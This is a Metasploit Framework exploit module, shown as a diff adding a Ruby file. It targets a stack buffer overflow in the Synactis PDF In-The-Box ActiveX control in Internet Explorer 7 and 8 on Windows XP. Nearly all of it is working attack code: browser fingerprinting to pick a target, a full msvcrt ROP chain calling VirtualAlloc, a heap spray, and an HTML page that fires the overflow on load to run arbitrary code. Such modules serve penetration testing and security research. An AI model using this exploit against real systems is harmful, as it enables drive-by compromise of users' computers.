1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = NormalRanking
12
+
13
+ include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
+ include Msf ::Exploit ::RopDb
15
+ include Msf ::Exploit ::Remote ::BrowserAutopwn
16
+
17
+ autopwn_info ( {
18
+ :ua_name => HttpClients ::IE ,
19
+ :ua_minver => "7.0" ,
20
+ :ua_maxver => "8.0" ,
21
+ :javascript => true ,
22
+ :classid => "{C80CAF1F-C58E-11D5-A093-006097ED77E6}" ,
23
+ :method => "ConnectToSynactis" ,
24
+ :os_name => OperatingSystems ::WINDOWS ,
25
+ :rank => AverageRanking
26
+ } )
27
+
28
+ def initialize ( info = { } )
29
+ super ( update_info ( info ,
30
+ 'Name' => "Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow" ,
31
+ 'Description' => %q{
32
+ This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX
33
+ component, specifically PDF_IN_1.ocx. When a long string of data is given
34
+ to the ConnectToSynactis function, which is meant to be used for the ldCmdLine
35
+ argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry
36
+ class pointer saved on the stack, and results in arbitrary code execution under the
37
+ context of the user.
38
+
39
+ Also note that since the WinExec function is used to call the default browser,
40
+ you must be aware that: 1) The default must be Internet Explorer, and 2) When the
41
+ exploit runs, another browser will pop up.
42
+
43
+ Synactis PDF In-The-Box is also used by other software such as Logic Print 2013,
44
+ which is how the vulnerability was found and publicly disclosed.
45
+ } ,
46
+ 'License' => MSF_LICENSE ,
47
+ 'Author' =>
48
+ [
49
+ 'h1ch4m' ,
50
+ 'sinn3r' #Metasploit
51
+ ] ,
52
+ 'References' =>
53
+ [
54
+ [ 'OSVDB' , '93754' ] ,
55
+ [ 'EDB' , '25835' ]
56
+ ] ,
57
+ 'Platform' => 'win' ,
58
+ 'Targets' =>
59
+ [
60
+ # Newer setups like Win + IE8: "Object doesn't support this property or method"
61
+ [ 'Automatic' , { } ] ,
62
+ [
63
+ 'IE 7 on Windows XP SP3' , { 'Eax' => 0x0c0c0c0c }
64
+ ] ,
65
+ [
66
+ # 0x20302020 = Where the heap spray will land
67
+ # 0x77c15ed5 = xchg eax,esp; rcr dword ptr [esi-75], 0c1h, pop ebp; ret 4
68
+ 'IE 8 on Windows XP SP3' ,
69
+ { 'Rop' => :msvcrt , 'Pivot' => 0x77C218D3 , 'Ecx' => 0x20302024 , 'Eax' => 0x20302028 }
70
+ ]
71
+ ] ,
72
+ 'Payload' =>
73
+ {
74
+ 'BadChars' => "\x00 " ,
75
+ 'StackAdjustment' => -3500
76
+ } ,
77
+ 'DefaultOptions' =>
78
+ {
79
+ 'InitialAutoRunScript' => 'migrate -f'
80
+ } ,
81
+ 'Privileged' => false ,
82
+ 'DisclosureDate' => "May 30 2013" ,
83
+ 'DefaultTarget' => 0 ) )
84
+ end
85
+
86
+ def get_target ( agent )
87
+ return target if target . name != 'Automatic'
88
+
89
+ nt = agent . scan ( /Windows NT (\d \. \d )/ ) . flatten [ 0 ] || ''
90
+ ie = agent . scan ( /MSIE (\d )/ ) . flatten [ 0 ] || ''
91
+
92
+ ie_name = "IE #{ ie } "
93
+
94
+ case nt
95
+ when '5.1'
96
+ os_name = 'Windows XP SP3'
97
+ end
98
+
99
+ targets . each do |t |
100
+ if ( !ie . empty? and t . name . include? ( ie_name ) ) and ( !nt . empty? and t . name . include? ( os_name ) )
101
+ return t
102
+ end
103
+ end
104
+
105
+ return nil
106
+ end
107
+
108
+ def get_payload ( t , cli )
109
+ code = payload . encoded
110
+
111
+ case t [ 'Rop' ]
112
+ when :msvcrt
113
+ print_status ( "Using msvcrt ROP" )
114
+ align = "\x81 \xc4 \x54 \xf2 \xff \xff " # Stack adjustment # add esp, -3500
115
+ # Must be null-byte-free for the spray
116
+ chain =
117
+ [
118
+ t [ 'Pivot' ] ,
119
+ 0x41414141 ,
120
+ t [ 'Ecx' ] , # To ECX
121
+ 0x77c1e844 , # POP EBP # RETN [msvcrt.dll]
122
+ 0x41414141 ,
123
+ 0x77c1e844 , # skip 4 bytes [msvcrt.dll]
124
+ 0x77c4fa1c , # POP EBX # RETN [msvcrt.dll]
125
+ 0xffffffff ,
126
+ 0x77c127e5 , # INC EBX # RETN [msvcrt.dll]
127
+ 0x77c127e5 , # INC EBX # RETN [msvcrt.dll]
128
+ 0x77c4e0da , # POP EAX # RETN [msvcrt.dll]
129
+ 0x2cfe1467 , # put delta into eax (-> put 0x00001000 into edx)
130
+ 0x77c4eb80 , # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
131
+ 0x77c58fbc , # XCHG EAX,EDX # RETN [msvcrt.dll]
132
+ 0x77c34fcd , # POP EAX # RETN [msvcrt.dll]
133
+ 0x2cfe04a7 , # put delta into eax (-> put 0x00000040 into ecx)
134
+ 0x77c4eb80 , # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
135
+ 0x77c14001 , # XCHG EAX,ECX # RETN [msvcrt.dll]
136
+ 0x77c3048a , # POP EDI # RETN [msvcrt.dll]
137
+ 0x77c47a42 , # RETN (ROP NOP) [msvcrt.dll]
138
+ 0x77c46efb , # POP ESI # RETN [msvcrt.dll]
139
+ 0x77c2aacc , # JMP [EAX] [msvcrt.dll]
140
+ 0x77c3b860 , # POP EAX # RETN [msvcrt.dll]
141
+ 0x77c1110c , # ptr to &VirtualAlloc() [IAT msvcrt.dll]
142
+ 0x77c12df9 , # PUSHAD # RETN [msvcrt.dll]
143
+ 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
144
+ ] . pack ( "V*" )
145
+
146
+ p = chain + align + code
147
+
148
+ else
149
+ p = "\x0c " * 50 + code
150
+ end
151
+
152
+ p
153
+ end
154
+
155
+ def get_html ( cli , req , target )
156
+ js_p = ::Rex ::Text . to_unescape ( get_payload ( target , cli ) , ::Rex ::Arch . endian ( target . arch ) )
157
+ eax = "\\ x" + [ target [ 'Eax' ] ] . pack ( "V*" ) . unpack ( "H*" ) [ 0 ] . scan ( /../ ) * "\\ x"
158
+
159
+ html = %Q|
160
+ <html>
161
+ <head>
162
+ <script>
163
+ #{ js_property_spray }
164
+
165
+ function r()
166
+ {
167
+ var s = unescape("#{ js_p } ");
168
+ sprayHeap({shellcode:s});
169
+
170
+ var p1 = '';
171
+ var p2 = '';
172
+ eax = "#{ eax } ";
173
+
174
+ while (p1.length < 189) p1 += "\\ x0c";
175
+ while (p2.length < 7000) p2 += "\\ x0c";
176
+
177
+ var obj = document.getElementById("obj");
178
+ obj.ConnectToSynactis(p1+eax+p2);
179
+ }
180
+ </script>
181
+ </head>
182
+ <body OnLoad="r();">
183
+ <OBJECT classid="clsid:C80CAF1F-C58E-11D5-A093-006097ED77E6" id="obj"></OBJECT>
184
+ </body>
185
+ </html>
186
+ |
187
+
188
+ html . gsub ( /^\t \t / , '' )
189
+ end
190
+
191
+ def on_request_uri ( cli , request )
192
+ agent = request . headers [ 'User-Agent' ]
193
+ uri = request . uri
194
+ print_status ( "Requesting: #{ uri } " )
195
+
196
+ target = get_target ( agent )
197
+ if target . nil?
198
+ print_error ( "Browser not supported, sending 404: #{ agent } " )
199
+ send_not_found ( cli )
200
+ return
201
+ end
202
+
203
+ print_status ( "Target selected as: #{ target . name } " )
204
+ send_response ( cli , get_html ( cli , request , target ) , { 'Content-Type' => 'text/html' , 'Cache-Control' => 'no-cache' } )
205
+ end
206
+ end
0 commit comments